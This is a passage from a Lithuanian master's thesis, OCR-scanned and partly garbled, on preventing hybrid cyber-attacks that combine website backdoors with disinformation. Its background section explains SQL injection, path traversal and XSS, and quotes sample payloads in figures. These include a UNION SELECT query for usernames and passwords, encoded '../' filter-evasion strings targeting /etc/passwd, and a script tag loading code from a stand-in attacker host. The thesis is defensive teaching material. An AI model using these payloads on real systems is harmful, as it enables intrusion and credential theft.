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Santrauka

Kibernetinés atakos nukreiptos pries informacines sistemas itin sparciai progresuoja, o $iy sistemy
administratoriai nepakankamai jvertina jy saugumo spragas ir galimas grésmes bei zalg. Svetainés,
kuriose publikuojamos naujienos ar periodiskai skelbiama nauja informacija dazniausiai naudoja
turinio valdymo sistemas (TVS), kurios yra apie tris kartus labiau pazeidZiamos kibernetinémis
atakomis, nei svetainés, kurios nenaudoja TVS [1].

Viena i$ galimy grésmiy - hibridinés kibernetinés atakos, susidedancios i§ kibernetinés ir
informacinés daliy. Tokios atakos pirminis veikimas - jsilauzimas j informacing sistemg ir ,,galiniy
dury” (angl. backdoor) prisijungimo galimybés sukiirimas. Tokiy ataky metu programisiai siekia
paskleisti klaidinancig ar netgi visiSkai suklastotg informacijg.

Atsizvelgiant | tai, Sio darbo tikslas - sukurti metoda, skirta hibridinés kibernetinés atakos
prevencijai, kai yra iSnaudojamos ,,galinés durys“ (angl. backdoor) ir istirti veikimo galimybes
sukurtoje informacinéje sistemoje.

Sio darbo struktiira:

e Pirmojoje darbo dalyje pateikiama kibernetiniy grésmiy ir jy prevencijos sprendimy
informacinése sistemose analiz¢.

e Antrojoje darbo dalyje pasitilomas hibridiniy kibernetiniy ataky prevencijos informacinése
sistemose metodo projektas.

e Treciojoje darbo dalyje realizuojamas hibridiniy kibernetiniy ataky prevencijos informacinése
sistemose metodo prototipas.

e Ketvirtojoje darbo dalyje atliekami hibridiniy kibernetiniy ataky prevencijos metodo
eksperimentiniai kiekybiniai ir kokybiniai tyrimai.

e Darbo pabaigoje pateiktos iSvados.



Andrijauskas Sartinas. Development and Research of the Method for Prevention of Hybrid Cyber-
Attacks in Information Systems. Master's Final Degree Project supervisor Assoc. prof. dr. Rasa
Bruzgiene; Informatics faculty, Kaunas University of Technology.

Study field and area (study field group): Informatics Engineering (Computing)
Keywords: cyber-attack; informational-attack; backdoor; attack prevention
Kaunas, 2022. 80 Number of pages.

Summary

Cyber attacks against information systems are progressing at an extremely rapid rate, and
administrators of these systems underestimate their security vulnerabilities and potential threats and
damage. Websites that publish news or periodically publish new information often uses content
management systems (CMS), which are about three times more vulnerable to cyber attacks than sites
that do not use CMS [1].

One of the potential threats is hybrid cyber attacks, which consist of cyber and information attacks.
The primary effect of such an attack is to break into an information system and create the possibility
of a "backdoor" connection. In such attacks, hackers seek to spread misleading or even completely
falsified information.

The aim of this work is to develop a method for the prevention of hybrid cyber attacks against
information systems when the backdoor attack is used.

The structure of this work:

e The first part provides an analysis of cyber threats and their prevention solutions in
information systems.

e In the second part of the work, a draft method for the prevention of hybrid cyber attacks in
information systems is proposed.

¢ Inthe third part of the work, a prototype of a method for the prevention of hybrid cyber attacks
in information systems is realized.

e In the fourth part of the work, experimental quantitative and qualitative research on the
method of prevention of hybrid cyber attacks is performed.

e Conclusions are presented at the end of the work.
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Santrumpy ir terminy sarasas
Santrumpos:

NKSC — Nacionalinis kibernetinio saugumo centras prie Krasto apsaugos ministerijos

PI — programiné jranga

TLD — (angl. Top Level Domain) auks¢iausio lygmens domeny vardy sistema

TVS — turinio valdymo sistema

SQL — (angl. Structured Query Language) struktiirizuota uzklausy kalba skirta ,,bendrauti“ su
duomeny baze

HTML — (angl. Hypertext Markup Language) kompiuteriné zyméjimo kalba, naudojama pateikti
turinj internete

XSS — (angl. Cross-site scripting) IT sistemy pazeidZziamumas, leidziantis jterpti papildoma
programinj kodg j naudotojy perzitirimg puslapj

KAM - Lietuvos Respublikos krasto apsaugos ministerija

OSI - (angl. Open Systems Interconnection Reference Model) abstraktus rysio protokoly, naudojamy
ry$io ir kompiuteriniuose tinkluose, aprasymas

WAF — (angl. Web application firewall) internetiniy puslapiy ugniasiené

OWASP - (angl. Open Web Application Security Project) ne pelno siekiantis fondas, kuris siekia
pagerinti proraming€s jrangos sauguma

WP — (angl. WordPress) — Wordpress turinio valdymo sistema

VM — (angl. Virtual Machine) — virtuali masSina
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Ivadas

Projekto naujumas ir aktualumas

Kibernetinés atakos nukreiptos pries§ informacines sistemas itin sparc¢iai progresuoja, o $iy sistemy
administratoriai nepakankamai jvertina jy saugumo spragas ir galimas grésmes bei zalg. Svetaings,
kuriose publikuojamos naujienos ar periodiskai skelbiama nauja informacija dazniausiai naudoja
turinio valdymo sistemas (TVS), kurios yra apie tris kartus labiau pazeidziamos kibernetinémis
atakomis, nei svetainés, kurios nenaudoja TVS [1].

Viena i§ galimy grésmiy - hibridinés kibernetinés atakos, susidedancios i§ kibernetinés ir
informacinés daliy. Tokios atakos pirminis veikimas - jsilauzimas j informacing sistemg ir ,,galiniy
dury® (angl. backdoor) prisijungimo galimybés sukiirimas. Tokiy ataky metu programisiai siekia
paskleisti klaidinanc¢ig ar netgi visiSkai suklastotg informacijg. Lietuvoje 2019 m. i$ viso nustatyti
2980 kenkéjiskos informacinés veiklos atvejai [2].

Atsizvelgiant | tai, Sio darbo tikslas - sukurti metoda, skirta hibridinés kibernetinés atakos
prevencijai, kai yra iSnaudojamos ,,galinés durys* (angl. backdoor) ir istirti veikimo galimybes
sukurtoje informacinéje sistemoje.

Darbo tikslas ir uZdaviniai
Darbo tikslas - sukurti metoda, skirta hibridinés kibernetinés atakos prevencijai, kai yra
iSnaudojamos ,,galinés durys® (angl. backdoor) ir istirti veikimo galimybes sukurtoje informacinéje
sistemoje. Uzdaviniai:
1. iSanalizuoti hibridines kibernetines atakas, jy vektorius ir grésme informacinéms sistemoms;
2. 1isanalizuoti esamus saugos sprendimus hibridiniy kibernetiniy ataky prevencijai ir nustatyti
ju funkcionalumo problematika informacinése sistemose;
3. suprojektuoti veiksmingg hibridinés kibernetinés atakos prevencijos metoda, kuris tenkinty
iSkeltus reikalavimus;
4. praktiSkai realizuoti pasitilyta metoda sukurtoje informacinéje sistemoje;
5. eksperimentiskai iStirti sukurta metoda, atlikti metodo kiekybine ir kokybine analiz¢ bei
apibendrinti gautus tyrimo rezultatus.

Darbo mokslinis naujumas

Pasitlytas hibridiniy kibernetiniy ataky informacinése sistemose prevencinis metodas, kuris
remiasi maiSos funkcijos reikSmiy skai€iavimu ir uztikrina hibridiniy kibernetiniy ataky aptikima
ir apsauga, atstatant sistemos biiseng ] prading.

Darbo mokslinis pritaikomumas
Sitlomas prevencinis metodas pritaikomas informacinéms sistemoms apsaugoti nuo hibridiniy
kibernetiniy ataky, kai iSnaudojamos ,,galinés durys®.

Darbe sprendZiama moksliné problema

Hibridiniy kibernetiniy ataky prevencijos metodas remiasi principu, jog nejmanoma sukurti
metodo, kuris visiSkai apsaugoty nuo naujai atsirandanciy kibernetiniy ataky, kuriy metu gali biiti
sukuriamos ,,galinés durys® ir atlickama informaciné¢ ataka.
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Darbo rezultatai
Sukurtas prevencinis metodas, skirtas apsaugoti informacines sistemas nuo hibridiniy kibernetiniy

ataky.

Dokumento struktiira
Darbas sudarytas i§ penkiy skyriy:

1.

Problematinés srities analiz€¢ — analizuojamos hibridinés kibernetinés atakos, jy vektoriai,
ataky prevencijos metodai ir ataky keliama grésmé informacinéms sistemoms.
Projektavimas — formuluojami funkciniai ir nefunkciniai, bei saugos reikalavimai ir
projektuojamas hibridinés kibernetinés atakos prevencijos metodas.

Realizacija — sukuriama informaciné sistema, kurioje praktiSskai realizuojamas
suprojektuotas metodas.

Sukurto prevencijos metodo testavimas — atlickama kiekybiné ir kokybiné analizé,
testuojamas metodo efektyvumas.

Rezultaty apibendrinimas ir i§vados — apibendrinami atlikto tyrimo rezultatai ir
suformuluojamos i§vados.
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1. Kibernetiniy grésmiu ir jy prevencijos sprendimy informacinése sistemose analizé

Sio darbo tikslas yra sukurti efektyvy hibridiniy kibernetiniy ataky prevencijos metoda, kai yra
isnaudojamos ,,galinés durys“ (angl. backdoor). Siame skyriuje bus apZvelgiamas darbo aktualumas,
analizuojamos ataky keliamos grésmés, prevencijos metodai ir jrankiai.

1.1. Hibridinés kibernetinés atakos, ju vektoriai ir keliama grésmé
Hibridiné kibernetiné ataka - dviejy daliy ataka, susidedanti i§ kibernetinés ir informacinés ataky:

1. Kibernetin¢ ataka — sgmoningas asmens ar organizacijos bandymas kenkéjiskai paZzeisti kitos
organizacijos ar asmens informacine sistema.

2. Informaciné ataka — kenkéjisSka veikla, kurios metu gali buti pakeista ar suklastota
informacija, siekiant pazeisti duomeny vientisuma.

Kibernetiniams nusikaltéliams hibridinés kibernetinés atakos tapo daug greitesnis ir lengvesnis
budas pakenkti jmonéms ilgalaikéje perspektyvoje. Pastebima, jog net ir labai nezymus duomeny
manipuliavimas atakos metu gali sukelti katastrofiskas pasekmes, o tokiy ataky aptikimas —

VW —

Pagrindinis hibridinés atakos tikslas — jsilauzimas bei melagingos informacijos (angl. fake news)
platinimas. Tokiy ataky metu programisiai siekia paskleisti klaidinancig ar netgi visiskai suklastota
informacijg. Lietuvoje 2019 m. is viso nustatyti 2980 kenkéjiskos informacinés veiklos atvejai [2].

Vienas 1§ rezonansiniy kibernetiniy incidenty 2019 m. — hibridiné kibernetiné ataka pries
internetiniy ziniy svetaing. Atakos pradinis veiksmas — jsilauzimas j svetaing ir ,,galiniy dury
jterpimas. Siuo konkregiu atveju kibernetine ataka yra laikomas jsibrovimas j interneting svetaing ir
»galiniy dury®“ prieigos sukarimas, o informacine ataka yra laikoma pakartotinos melagingos
informacijos skleidimas 1 pav.

Internetas 2. Galiniy dury prisijungimas

https://kaunas.kasvyksta.lt/
1. Nenustatytas

kibernetinio @~—m7 = 3 o . 4. Melaglng?s
incidento vektorius . Socialinés inZinerijos metodais pa- informacijos
gristy laisky su kenkimo PJ siuntimas, sklaida
imituojant siuntéjg
Kibernetinis incidentas Informaciné ataka

1 pav. Hibridiné ataka, pasinaudojant ,.kaunas.kasvyksta.It” interneto svetaine [2]
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Duomeny vientisumas ir patikimumas daznu atveju uZztikrina jmonés prekés zenklo jvaizdj ir
klienty pasitikéjima. Bet koks duomeny vientisumo ar tikslumo pazeidimas gali ne tik sumazinti
imonés pajamas, taCiau ir sumazinti klienty pasitikéjimg. Tokia grésmé yra Zymiai pavojingesné
ilgalaikéje perspektyvoje, nei lyginant su kitomis kibernetinémis atakomis, kuriy mety pazeidziamas
konfidencialumas ar prieinamumas.

Hibridinés kibernetinés atakos gali paveikti visas interneto svetaines, kuriose skelbiama svarbi ar
placiai visuomenei prieinama informacija. Svetainés, kuriose publikuojamos naujienos ar periodiskai
skelbiama nauja informacija dazniausiai naudoja turinio valdymo sistemas (TVS).

2019 m. NKSC atlikto tyrimo metu, Lietuvos auks¢iausio lygmens domeny vardy sistemoje (TLD)
buvo patikrintos daugiau nei 118 000 lietuviskos interneto svetainés. ldentifikavus 56 700 (48 proc.)
interneto svetaines nustatyta, kad populiariausia atvirojo kodo TVS Lietuvoje yra WordPress, ja
naudoja net 34 proc. TVS sistemy naudotojy Lietuvoje 1 lentelé. Remiantis statistika pasaulyje,
pastebimi panasis rezultatai — WordPress TVS pagal naudojima uZima pirmaja vieta (59.1% i8 visy
svetainiy, naudojanciy TVS) [1].

1 lentelé. Populiariausios identifikuojamos TVS Lietuvoje [2]

Nr. | Turinio valdymo sistema Paplitimas Lietuvoje | Paplitimas vieSajame
sektoriuje

1 Wordpress 34 proc. 33 proc.

2 Joomla 4 proc. 13 proc.

3 Fresh Media <1 proc. 6 proc.

4 Idamas <1 proc. 5 proc.

5 Drupal <1 proc. 3 proc.

6 Kita 8 proc. 2 proc.

7 Nenustatyta ~ 52 proc. 38 proc.

Turinio valdymo sistema sitlo konfigliruojama, pagal kiekvieno poreikius pritaikoma, daugelio
naudotojy aplinkg su standartinémis funkcijomis, kurios reikalingos kurti, organizuoti ir prizitréti
svetainés turinj. Vienas 1§ pagrindiniy TVS sistemy privalumy — moduliSkumas, kuris leidzia
naudotojams pridéti papildomy funkcijy ir pritaikyti svetaing pagal poreikius.

Dazniausiai naudojamy TVS sistemy pagrindiné problema — saugumas. Kadangi dauguma TVS
sistemy yra atvirojo kodo (angl. Open-source) visas kodas gali biti analizuojamas siekiant rasti
pazeidziamumus ir juos iSnaudoti kenkéjiskais tikslais. Moduliskumas taip pat kelia dideles saugumo
problemas, kadangi d¢l didelio kiekio papildiniy ir Sablony, nejmanoma uztikrinti, jog jie neturi kodo
spragy (angl. bugs) kuriuos galima i$naudoti, siekiant pakenkti arba perimti svetainés valdyma.

Atlikto turinio valdymo sistemos Wordpress saugumo tyrimo metu nustatyta, jog nuo WordPress
atsiradimo 2003 metais iki 2014 mety buvo aptikti 488 pazeidziamumai. Tyrimo metu iSskirta 15
skirtingy pazeidZziamumy kategorijy ir nustatyta, jog dauguma — 405 paZeidZiamumai buvo sukelti
papildiniy [3]. Dél auksto turinio valdymo sistemy populiarumo, internete egzistuoja uzdaros
bendruomenés, suinteresuotos ] turinio valdymy sistemy pazZeidZiamumus. Aptikus nauja
pazeidziamuma Sistemos branduolyje ar viename i§ papildiniy, tokiose bendruomenése
paskleidziama informacija, po kurios suintesyvéja svetainiy skenavimai, siekiant surasti Kkitas
svetaines, kurios galéty biiti pazeidziamos naujai rastu pazeidziamumu.
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2018 metais atlikto tyrimo metu [4], pabréZziama, jog paZzeidziamumai dazniausiai atsiranda dél
netinkamo ar neatidaus programavimo. Taip pat pastebima, jog pazeidziamumams papildiniuose
iSspresti vidutiniskai prireikia 653 dieny, o tai reiskia, jog pazeidziamumai gali egzistuoti netgi kelis
metus, kol bus identifikuoti ir i§spresti.

Interneto svetainés, kurios naudoja TVS yra apie tris kartus labiau pazeidziamos kibernetinémis
atakomis, nei svetainés, kurios nenaudoja TVS. Dazniausiai pasitaikancios interneto svetainiy su TVS
kibernetinés atakos [1]:

1. SQL injekcija (angl. SQL Injection) — ataka, leidZianti iSnaudoti duomeny baziy
pazeidziamumus, kuriy pagalba gali biiti nuskaitomi arba pakei¢iami duomeny bazés
jrasai. Dazniausiai jvykdoma siunciant struktiirizuotos uzklausy kalbos (SQL) uzklausas
per blogai tikrinamus naudotojo jvesties laukelius.

2. Katalogy perSokimo ataka (angl. Directory traversal, Path traversal) — sistema
priver¢iama atidaryti kritiSkai svarbius failus, kurie laikomi kitame (ne Sakniniame
kataloge) ir parodyti failo rezultatus atakuotojui.

3. XSS (angl. Cross-Site Scripting) pazeidziamumas — leidzia jsilauzéliui jterpti narSykléje
vykdoma koda j kity naudotojy narSykles siekiant pasisavinti prisijungimo duomenis arba
jiterpti kenksmingg koda.

Dazniausiai aptinkamos kibernetinés atakos gali biti iSnaudotos siekiant atidaryti ,,galines duris*
(angl. backdoor) puolamoje sistemoje. ,,Galinés durys® reiskia bet kurj metods, kuriuo jgalioti ar
nejgalioti naudotojai gali apeiti jprastas saugumo priemones ir gauti auksto lygio naudotojo prieiga
pric kompiuterio sistemos, tinklo ar programinés jrangos. Kai ,galinés durys®“ jdiegiamos,
Kibernetiniai nusikaltéliai jgauna pilng prieiga prie sistemos ir gali vogti asmeninius ir finansinius
duomenis, jdiegti papildomg kenkéjiska programing jrangg ar keisti sistemoje pateikiamg informacija.
Skirtingai nuo kity kibernetiniy grésmiy, ,,galinés durys® yra diskretiSkos ir gali ilga laika veikti
sistemoje nepastebétos [5].

Sékmingos hibridinés kibernetinés atakos pirminé faze - kibernetiné ataka, kurios metu jdiegiamos
»galinés durys®. Siekiant sukurti veiksminga prevencinj metoda bitina zinoti ir iSsiaiSkinti
dazniausiai naudojamy ataky veikimo vektorius. Zemiau pateikiamos daZniausiai vykdomos
kibernetinés atakos, jy veikimo vektoriai ir grésmé.

1.1.1. SQL injekcijos ataka

SQL injekcija — viena i§ injekciniy tipo ataky, kurios metu gali biiti iSnaudojamos kenksmingos
SQL uzklausos. SQL uzklausos kontroliuoja duomeny bazés serverius ir jy pagalba atakuotojas gali
apeiti svetainés autentifikacijg ir autorizacija. Sékmingos atakos atveju atakuotojas gali matyti,
pridéti, modifikuoti ir netgi iStrinti duomeny bazés jrasus.

SQL injekcijos ataka gali paveikti visas svetaines, kurios naudoja reliacing SQL duomeny baze,
tokig kaip MySQL, Oracle, SQL Server ar kita. Si ataka laikoma vienu seniausiy, labiausiai paplitusiy
ir pavojingiausiy interneto svetainés pazeidziamumy. Remiantis 2020 m. parengtu Top 10 dazniausiai
aptinkamy ataky sarasu, SQL injekcija (kartu su kitomis injekcinémis atakomis) uzima pirmajg vieta
[6]. SQL injekcijos pazeidziamumai skirstomi j Keturias pagrindines grupes [7].
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Klaidomis grjsta SQL injekcija. Vienas i§ daZniausiai pasitaikan¢iy pazeidziamumy. Veikimo
principas paremtas nenumatytomis komandomis arba klaidinga jvestimi per naudotojo s3saja.
Serveris atsakydamas | sukurtas uzklausas grazina klaidos praneSimus, kuriuose gali biti jrasyta
informacija apie serverio struktiirg, versija, naudojamg operacing sistema ar netgi grazinti pilng
rezultatg pagal uzklausa.

Sajungomis grista SQL injekcija. ISnaudojamas SQL teikiamas funkcionalumas jungti kelias
uzklausas j vieng uzklausa. Tokiu biidu galima priversti sistema grazinti daugiau duomeny, nei turéjo
originali uzklausa. Sio paZeidZziamumo panaudojimui daZniausiai turi biti tenkinama salyga, jog
originalioje uzklausoje naudojamy lauky skaicius sutampa su pridétine uzklausa.

Dvejetainés logikos principu grista akloji SQL injekcija. Ataka remiasi sékmingomis ir
nes¢kmingomis uzklausomis, kurios atitinkamai pagal rezultatg gali pakeisti interneto svetainés
buiseng. Atitinkamai pagal pasikeitimus, uzpuolikas gali spresti ar uzklausos buvo teisingos ar
neteisingos.

Laiku grista akloji SQL injekcija. Atitinkamai ar sukurta uzklausa yra teisinga ar klaidinga,
serveris gali uZtrukti skirtingus laiko tarpus, kol graZinamas rezultatas. UZpuolikas fiksuodamas
uzklausy iSsiuntimo ir rezultaty grazinimo laikus gali nuspresti ar SQL uzklausos buvo s¢kmingos ar
ne. Siunciant jvairias uzklausas, galima iSsiaiskinti duomeny bazeés struktiirg.

Apibendrintas SQL injekcijos atakos vektorius matomas 2 pav.

' UNION SELECT username, password FROM users—-

SELECT name, description FROM products WHERE category
= 'Gift=s' UNION SELECT username, password FROM users—-

4

11

3 i SUBMIT

—¢——(% Al passwords-j—-

0 )
{ b Al usernames ) 4

2 pav. SQL injekcijos atakos vektoriaus vizualizacija [8]

Apibendrintas SQL injekcijos atakos vektorius gali biiti iSskaidytas j Sesis pagrindinius zingsnius:
1. Atakuotojas naudodamasis lengvai prieinamais jrankiais skenuoja interneting svetaing,
siekdamas rasti pazeidziamumus, leidZiancius atlikti SQL injekcijos ataka;

2. Aptikus pazeidziamg jvesties lauka suformuojama speciali uzklausa;

3. Speciali uzklausa yra pridedama prie originalios uzklausos per jvesties formg ir
paspaudZiamas patvirtinimo mygtukas;

4. Interneto svetainé nuskaito jvesties formg ir persiuncia uzklausa i duomeny bazés serveri;

17



5. Jeigu uZklausa teisinga, duomeny bazés serveris atliecka veiksmus ir grazina rezultatg |
interneto svetaing;

6. Internetiné svetainé persiunc¢ia duomeny bazés rezultatg galutiniam naudotojui (Siuo atveju
uzpuolikui).

1.1.2. Katalogy perSokimo ataka

Katalogy perSokimo ataka — orientuota pasiekti failus ir katalogus, kurie yra kitame (ne
Sakniniame) interneto svetainés kataloge. Keitin¢jant kintamuosius, kurie rodo j failo vietg ir
pridedant papildomy simboliy tokiy kaip ,,../*“, arba naudojant absoliucius faily pavadinimus atsiranda
galimybé pasiekti saugomus failus i$ kity katalogy. Sékmingos atakos atveju gali biiti pasiekiamias
svetainés programinis kodas, konfigiiraciniai failai ar netgi kritiniai sisteminiai failai.

Dauguma internetiniy svetainiy privalo naudoti vietinius $altinius, tokius kaip paveikslai, Sablonai,
Kiti scenarijai ir pan. Kiekvieng karta, kai internetiné svetainé jtraukia Saltinj ar faila, kyla pavojus,
kad uzpuolikas gali jtraukti failg ar nuotolinj $altinj, kurio internetiné svetainé neautorizavo.

Atakos realizacijai daznai naudojamas teksto kodavimas (angl. encoding) arba netgi dvigubas
teksto kodavimas, taip siekiant apeiti apsaugos mechanizmus. Zemiau pateiktoje lenteléje 2 lentelé.
matoma dazniausiai naudojamy teksto koduoc¢iy variacijos [9].

2 lentelé. DazZniausiai naudojamy teksto koduociy variacijy lentelé [9]

Koduota reikSmé Atitikmuo sistemoje Aprasymas

%2e%2e%2f

%2e%2e/ v Grjzti vieng kataloga atgal
[%2f (Linux operacingé sistema)
..%c0%af

%2e%2e%5¢c

%2e%2¢e\

..%5¢c A Grjzti vieng kataloga atgal
%252e%252e%255¢ (Windows operaciné sistema)
..%255¢

..9%0¢1%9c

Naudojant §ig atakg dazniausiai taikoma j i§ anksto numatytus taikinius pvz. /etc/passwd failg,
kuris UNIX sistemos dazniausiai naudojamas slaptazodziy maisos funkcijos (angl. hash) reikSméms
saugoti. Uzpuolikui sékmingai nuskai¢ius minétg failg, galimos kitos kibernetinés atakos, tokios kaip
grubios jégos ataka (angl. brute-force attack), kurios pagalba galima nustatyti slaptazodj. Sékmingos
atakos atveju — galima jgauti neteiséta prieigg prie administratoriaus ar kito naudotojo profilio.
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Apibendrintas katalogy perSokimo atakos vektorius matomas 3 pav.

)

/loadimage?filename=gift.png 2 « ¢ [loadimage?filename=..[../..Jetc/passwd|

root:x:0:0:root: froot: /binfbash
daemon:x:l:1:daemon: fusr/sbin:/bin/sh

. bin:x:2:2:bin: /bin: /bin/sh
al zys:x:3:3:8ys: /dev: /bin/sh
sync:x:4:65534 :sync: /bin: /bin/aync
games:x:5:60:game=: fusr/games: /bin/sh

man:x:6:12 'man: /var/cache/man: /bin/sh
lp:x:7:7:1p:/var/spool/lpd: /bin/sh 3
mail:x:B8:8:mail: fvar/mail: /bin/sh
news:x:9:9%:news: /var/spocl/news: /bin/sh
uncp:x:10:10:wuce: /var/spool fuucp: /bin/sh
proxy:x:13:13:proxy: /bin: /bin/sh
www-data:x:33:33 - www-data: fvar/www: /bin/sh
gackup:x:34:34 :backup: /var/backups:/bin/sh L

3 pav. Katalogy perSokimo atakos vektoriaus vizualizacija [10]
Sios atakos vektoriy galima i§skaidyti j tris pagrindinius Zingsnius:

1. Uzpuolikas skenuoja svetaing ir ieSko funkcijy, kurios skaityty arba atidaryty failg i
failinés sistemos;

2. Rades failo skaitymo ar atidarymo funkcija, uzpuolikas paruosia specialig uzklausa, kuri
naudodama reliatyvy arba absoliuty failo kelig bando atidaryti nurodyta faila;

3. Jeigu ataka sékminga, jvykdytos komandos rezultatai persiunciami atgal j uzpuoliko
kompiuterj.

1.1.3. XSS ataka

XSS ataka — internetiniy svetainiy saugumo klaida, kuri leidZia uZpuolikui jterpti kenksminga koda
1 naudotojams atvaizduojamus HTML puslapius. Sékmingos atakos metu, sistemos ar internetinés
svetainés veiksmai ir elgesys gali buti visiskai pakeisti. Si ataka naudojama siekiant pavogti
naudotojy asmeninius duomenis arba atlikti veiksmus jy vardu. Atakos pagrindinis taikinys —
vykdymo scenarijai esantys serveryje, taciau dazniausiai atlickami klientin¢je, o ne serverinéje

dalyje.

XSS atakos dazniausiai orientuotos ] skriptams vykdyti klientinéje pusé€je naudojamas scenarijy
raSymo kalbas, tokias kaip JavaScript ir HTML. Vienu i§ atakos atveju, uzpuolikas sugeba valdyti
internetinés svetainés klientinés pusés vykdymo scenarijus ir jais manipuliuodamas jterpti
kenksmingg scenarijy, kuris gali biiti iSkvieCiamas kiekvieng kartg atidarius svetaing. Reali atakos
grésmé iskyla tokiu atveju, jeigu internetiné svetainé priima duomenis i§ naudotojy ir neatliekant
validacijos dinamiskai juos jdeda j puslapius. Jeigu atakuotojas sugeba seékmingai jvykdyti ataka, tai
]jgauna prieigg prie aukos paskyros.
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XSS ataka taip pat gali biiti jvykdyta siunciant specialiai paruostg kenksminga nuoroda, kuri dél
teksto kodavimo gali atrodyti nepavojinga. Dazniausiai tokios nuorodos biina siun¢iamos el. pastu ir
laukiama, kol auka paspaus sukurtg nuoroda [11].

XSS atakas galima klasifikuoti | tris tipus [12]:

Atsispindinti XSS ataka (angl. Reflected XSS). Jterpiamas programinis kodas, kuris
iSnaudoja nevaliduojamg arba nenaudojamg naudotojo jvesties laukelj esantj sugeneruoto
tinklalapio iSvestyje. Auka narSykléje atidariusi nuorodg jvykdo XSS atakos kodg ir biina
peradresuojama ] uZpuoliko valdomg tinklalapj, tokiu bidu pavogiant asmeninius
duomenis arba jvykdant kenksmingg programinj koda.

ISsaugota XSS ataka (angl. Stored XSS). Uzpuoliko jterptas kodas yra nevaliduojamas ir
iSsaugomas internetinéje svetain¢je (dazniausiai duomeny bazéje) ir gali biiti perziiirimas
Kito naudotojo ar administratoriaus. Jterptas ir iSsaugotas kenksmingas kodas dazniausiai
laikomas auksto ar net kritinio pavojingumo pazeidziamumu, kadangi interneto svetainé
gali biiti iSnaudota peradresuojant naudotojus j kitas nesaugias svetaines ar atliekant kitus
potencialiai kenksmingus veiksmus.

DOM tipo XSS ataka (angl. DOM XSS). Internetinés svetainés, JavaScript
programavimo kalba paraSyti karkasai gali biiti pazeidziami DOM (angl. Document Object
Model) manipuliacijose, kai jtraukiami atakuotojo kontroliuojami duomenys j svetaine. Sio
tipo atakos metu, gali buti ,,pakiSamos® suklastotos prisijungimo formos, fiksuojami
klaviatiiros paspaudimai ar jvykdomas kenkéjiskas kodas.

Apibendrintas XSS atakos vektorius pateikiamas 4 pav.

B https:/finsecure-website.com/comment?message=<script src=https:/levil-user.net/badscript.js></script>

6 (? sensitive data )

- [ "
——
—

p :
( @ Mother’s maiden name )

4 pav. XSS atakos vektoriaus vizualizacija [13]

Pavyzdinj XSS atakos vektoriy galima iSskaidyti j SeSis pagrindinius Zingsnius:
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1. Uzpuolikas skenuoja svetaing ir ieSko internetinés svetainés pazeidziamumy, kurie leisty
ivykdyti XSS ataka;

2. Radus pazZeidziamuma, paruoSiama speciali nuoroda, kuri nukreipia auka i uzpuoliko
valdomg svetaing ir iSkviecia paruostg vykdymo skripta;

3. Sukurta speciali nuoroda siun¢iama aukai naudojantis el. pastu ir laukiama, kol auka
atidarys nuoroda;

4. Paspaudus ant nuorodos, narSyklé¢je atidaromas internetinis puslapis ir jvykdomas
kenksmingas jterptas programinis kodas, kuris peradresuoja auka j uzpuoliko valdoma
interneting svetaine su suklastota prisijungimo forma;

5. Auka nejtardama, jog atidaryta suklastota prisijungimo forma, suveda savo prisijungimo
duomentis ir bando prisijungti prie svetaings;

6. Prisijungimo duomenys ir kita privati aukos informacija persiun¢iama uzpuolikui.

1.1.4. Informacinés atakos

Internetiné ziniasklaida ir socialiniai tinklai atlicka vis svarbesnj vaidmenj Siuolaikiniuose
socialiniuose ir politiniuose judéjimuose, todél suprantama, kad tai tampa puikiu taikiniu
kibernetiniams nusikaltéliams.

Informacinés atakos, kuriy metu skleidZziama suklastota ar netikra informacija vis populiaréja, o
gebéjimas aptikti ir sustabdyti dezinformacijos srauta tapo labai svarbus uzdavinys Saugumo
specialistams. Siekiant sukurti kuo efektyvesnius apsaugos mechanizmus, isskirtos pagrindinés
informacinés atakos, kurios atlickamos siekiant suklastoti pateikiamus duomenis ir i§vengti aptikimo
[14].

Neigimo ataka (angl. Negation Attack). Atakos metu klastojami duomenys pakeiciant
teigiamuosiuos sakinius j neigiamuosius. Atakos metu identifikuojami sakiniai, kuriuose vartojami
zodziai yra, buvo arba turéty ir pakeiciami j prieSingus — néra, nebuvo ir neturéty ir atvirk§ciai. Nors
atakos metu pakeitimai teksto atzvilgiu yra nedideli, taciau pastraipos ar sakinio prasmé gali biti
kardinaliai pakeista.

Politiniy partiju atstovy sukeitimo ataka (angl. Party Reversal Attack). Ataka labiausiai
orientuota ] politiniy partijy skelbiamg informacija, taciau gali biiti pritaikyta ir kitokio pobiidZio
informacijai. Atakos metu identifikuojamos asmenybés ir jy priklausomybé vienai ar kitai politinei
partijai ir pakeiiama ] kitg asmenj, kuris dazniausiai priklauso opozicinei partijai. Tokiu budu
modifikavus informacija ji tampa faktiskai neteisinga ir klaidinanti.

Prieveiksmiy intensyvumo ataka (angl. Adverb Intensity Attack). Atakos metu pridedami arba
pasalinami prieveiksmiai, kurie padidina sakinio intensyvumg. Sakinio reikSmé daznu atveju
nepasikeicia, taciau gali turéti jtakos kaip suprantamas sakinys.

1.1.5. Hibridiniy kibernetiniy ataky grésmé

Sékmingos hibridinés atakos neabejotinai daro didele Zalg imonéms. Tokios atakos gali turéti
itakos verslo buklei ir naudotojy pasitikéjimui. Kibernetinés atakos poveikj galima suskirstyti | tris
pagrindines kategorijas:
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1. Finansiné
2. Reputacijos
3. Teisiné

Finansiné Zala. Zala, kuri patiriama po kiekvieno kibernetinio incidento, kadangi jmonés yra
priverstos skirti papildomas islaidas paveikty sistemy, tinkly ir jrenginiy taisymui. Didziausia
finansiné zala patiriama, kai atakos metu pavogiama svarbi finansiné informacija, tokia kaip bankiniy
korteliy informacija, ar sutrukdoma prekyba internetu, kai jmonés negali atlikti piniginiy operacijy
internete.

Reputaciné Zala. Pasitikéjimas ir reputacija yra esminis sékmingos informacinés sistemos
elementas. Kibernetinés atakos gali tiesiogiai paveikti verslo reputacijg ir sugriauti klienty
pasitikéjimg. Tai automatiskai gali reiksti klienty praradima, pelno sumazéjima ar net paveikti
santykius su partneriais, investuotojais ar kitomis tre¢iosiomis Salimis.

Teisiné Zala. Duomeny apsaugos ir privatumo jstatymai reikalauja, jog sistemos tvarkyty ir
apsaugoty visy asmens duomeny sauguma — tiek savo darbuotojams, tiek klientams. Jei Sie duomenys
yra atsitiktinai ar sgmoningai pazeisti ir jmonei nepavyko tinkamai jy apsaugoti, gali grésti baudos ir
sankcijos.

Hibridiniy ataky metu taip pat dazniausiai platinama dezinformacija, kuri iSnaudoja psichologinj
pazeidziamumg ir pazeidzia loginj bei kritinj mastymg. Tokios atakos siekia pakeisti tikslinés
